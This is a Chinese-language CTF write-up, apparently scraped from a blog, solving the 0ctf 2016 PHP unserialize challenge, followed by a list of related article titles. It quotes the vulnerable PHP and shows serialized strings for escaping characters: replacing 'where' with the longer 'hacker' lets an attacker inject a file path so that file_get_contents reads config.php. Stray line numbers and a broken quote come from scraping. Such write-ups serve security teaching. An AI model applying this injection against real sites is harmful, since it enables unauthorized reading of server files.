一.0ctf_2016_unserialize(php反序列化逃逸字符)1

2

3

4知识点:

* 代码审计

* Unserialize

* LFR

通过源码,我们可以发现在config.php中的flag,这题意图已经很明显了,是要我们读取config.php文件的内容。1

2

3

4

5

6

7<?php

$config['hostname'] = '127.0.0.1';

$config['username'] = 'root';

$config['password'] = '';

$config['database'] = '';

$flag = '';

?>

注册并登入,在cookie里发现bottle.session,说明很有可能这道题目是由Python的 bottle框架搭建的,与此同时在profile.php找到$profile = unserialize($profile);, $photo = base64_encode(file_get_contents($profile['photo']));中包含有unserialize与file_get_contents,猜测这道题是需要利用unserialize反序列构造file_get_contents执行RCE。1

2

3

4

5$profile = unserialize($profile);

$phone = $profile['phone'];

$email = $profile['email'];

$nickname = $profile['nickname'];

$photo = base64_encode(file_get_contents($profile['photo']));

可以看到无论是file_get_contents($profile['photo']),还是unserialize($profile)都是通过$profile进行控制的,我们现在看看$profile变量能否被我们控制1

2

3$username = $_SESSION['username'];

$profile=$user->show_profile($username);

if($profile == null) {

经过查找我们可以发现$profile 变量来源于show_profile方法,我们通过传入一个$username变量后引用了父类mysql的方法filter、select,最后返回了一个$object,而profile就是在这个$object变量中,让我看看mysql类中的函数1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39class user {

...

...

public function show_profile($username) {

$username = parent::filter($username);

$where = "username = '$username'";

$object = parent::select($this->table, $where);

return $object->profile;

}

...

...

}

class mysql {

private $link = null;

...

...

public function select($table, $where, $ret = '*') {

$sql = "SELECT $ret FROM $table WHERE $where";

$result = mysql_query($sql, $this->link);

return mysql_fetch_object($result);

}

...

...

public function filter($string) {

$escape = array(''', '\\');

$escape = '/' . implode('|', $escape) . '/';

$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');

$safe = '/' . implode('|', $safe) . '/i';

return preg_replace($safe, 'hacker', $string);

}

public function __tostring() {

return __class__;

}

}

这一连串代码作用已经很明显是要验证用户信息的。filter方法防止我们将会过滤符号,\字符串select,insert,update,delete。

经过寻找我们可以找到

$profile['photo']) 是源于update.php中 $profile['photo'] = 'upload/' . md5($file['name']);1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20if(!preg_match('/^d{11}$/', $_POST['phone']))

die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))

die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

die('Invalid nickname');

$file = $_FILES['photo'];

if($file['size'] < 5 or $file['size'] > 1000000)

die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));

$profile['phone'] = $_POST['phone'];

$profile['email'] = $_POST['email'];

$profile['nickname'] = $_POST['nickname'];

$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

echo 'Update Profile Success!Your Profile';

原本这段其实是没有问题的,关键是它先将$profile进行序列化后再进行存入数据库,而filter函数中会将where字符串转换成hacker,where是五个字符而hacker是六个字符,这样就给我提供了反序列化逃逸字符的条件1

2

3

4

5

6

7

8

9public function filter($string) {

$escape = array(''', '\\');

$escape = '/' . implode('|', $escape) . '/';

$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');

$safe = '/' . implode('|', $safe) . '/i';

return preg_replace($safe, 'hacker', $string);

}

反序列化逃逸字符1

2

3

4

5

6

7

8

9<?php

//Enter your code here, enjoy!

$profile['phone'] = '11115908609';

$profile['email'] = '[email protected]';

$profile['nickname'] = 'aa';

$profile['photo'] = 'aaa';

$a=serialize($profile);

echo $a;

输出1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:2:"aa";s:5:"photo";s:3:"aaa";}

我们修改下1$profile['nickname'] = 'aa";s:5:"photo";s:3:"aaa";}';

输出1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:27:"aa";s:5:"photo";s:3:"aaa";}";s:5:"photo";s:3:"aaa";}

因为多出";s:5:"photo";s:3:"aaa";}

于是我们可以hacker比where多的字符将其顶替,这里多处的字符用1代替

比如这样1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:27:"aa1111111111111111111111111";s:5:"photo";s:3:"aaa";}";s:5:"photo";s:3:"aaa";}

最后得到

同理我们可以将aaa换成我们想要的比如config.php就可以读出flag了,

将得到的base64解码后的到flag

参考

ctf之php序列化,0ctf_2016_unserialize(php反序列化逃逸字符)相关推荐

  1. piapiapia(代码审计、反序列化逃逸、函数绕过)

    目录 wp 文件内容 尝试 主要部分 反序列化逃逸 流程 总结 wp 进入题目,一个登录框,F12和源代码没有看到提示,robots.txt也没有东西.于是试一试访问www.zip,没想到有源码,省了 ...

  2. [0CTF 2016]piapiapia总结(PHP序列化长度变化导致尾部字符逃逸)

    这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了. 下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固. 一 ...

  3. buuctf刷题9 (反序列化逃逸shtml-SSI远程命令执行idna与utf-8编码漏洞)

    目录 安洵杯2019 easy_serialize_php (反序列化中的对象逃逸) [0CTF 2016]piapiapia(反序列化逃逸) [BJDCTF2020]EasySearch(Apach ...

  4. java io文件流序列化_Java——Properties集合,Object序列化流与反序列化流,打印流,commons-IO文件工具类...

    一.properties集合 集合对象Properties类,继承Hashtable,实现Map接口,可以和IO对象结合使用,实现数据的持久存储. 特点: Hashtable的子类,map集合中的方法 ...

  5. java伪装反序列化字节流_java对象序列化流和反序列化流

    首先创建一个学生类 `import java.io.Serializable; public class Student implements Serializable { private stati ...

  6. python3 中的Json序列化、反序列化 和 字符编码的问题解决

    python3 中的Json序列化.反序列化 和 字符编码的问题解决 参考文章: (1)python3 中的Json序列化.反序列化 和 字符编码的问题解决 (2)https://www.cnblog ...

  7. mysql序列化字段反序列化_序列化serialize()与反序列化unserialize()的实例

    在写序列化serialize与反序列化unserialize()时,我们先来看看: serialize - 产生一个可存储的值的表示 描述 string serialize ( mixed $valu ...

  8. (java)IO流对象(六)集合Properties类、序列化流、反序列化流、打印流

    [Properties特点] /** 集合对象Properties类特点:* 1. 继承Hashtable,实现Map接口* 2. 该集合无泛型,键值都是字符串* 3. 键值可以存储到集合中,也可以存 ...

  9. Java序列化(Serializable)与反序列化

    学习Java的同学注意了!!!  学习过程中遇到什么问题或者想获取学习资源的话,欢迎加入Java学习交流群,群号码:589809992 我们一起学Java! 序列化是干什么的 简单说就是为了保存在内存 ...

最新文章

  1. (iOS-框架封装)AFN3.x 网络请求封装
  2. 也跟90后小朋友聊聊
  3. muduo:获取进程相关信息
  4. 关于STRUCT优化的一个点
  5. 键盘敲入 A 字母时,操作系统期间发生了什么...
  6. 关于java的响应式编程框架----SpringReactor
  7. hdu 4530(数学)
  8. 吃豆人(luogu 7472/NOI Online 2021 普及组 T2)
  9. 排座椅(洛谷-P1056)
  10. 《互联网理财一册通》一一第1章 做好互联网理财前的准备工作
  11. 翻转课堂管理系统_ER图_功能图_数据字典_数据库脚本
  12. 熟练操作计算机办公软件英语怎么说,办公软件用英语怎么说英文表达
  13. php中怎么缩放图片,php中图片的缩放比例-php教程
  14. 请问论文开题报告和提纲怎么写?
  15. 技术人生:高山仰止,景行观止,虽不能至,我心向往之
  16. 【实验】阿里云大数据助理工程师认证(ACA)- ACA认证配套实验-03-MaxCompute内置函数
  17. 由标明空子树的先序遍历序列创建二叉树
  18. android中注册的账号密码储存在,android SharedPreferences实现用户的注册和保存账号密码...
  19. 自定义ava数据集及训练与测试 完整版 时空动作/行为 视频数据集制作 yolov5, deep sort, VIA MMAction, SlowFast
  20. C语言中 %md 的输入输出使用(还有printf函数的 %0格式控制符的使用)

热门文章

  1. 中国电子商务网经的盈利策略
  2. 02_菜鸟也能懂的 - 音视频基础知识。
  3. Java语言简介和基础
  4. js和jquery实现页面跳转的几种方式
  5. 初学者如何学好编程?
  6. 骨架屏-css实现方式
  7. 【进程间通信】进程间通信方式汇总
  8. 2021-11-05 奈氏准则,香农定理(考研中的第一波知识点)
  9. 安装 python cuda
  10. linux md5sum 的用法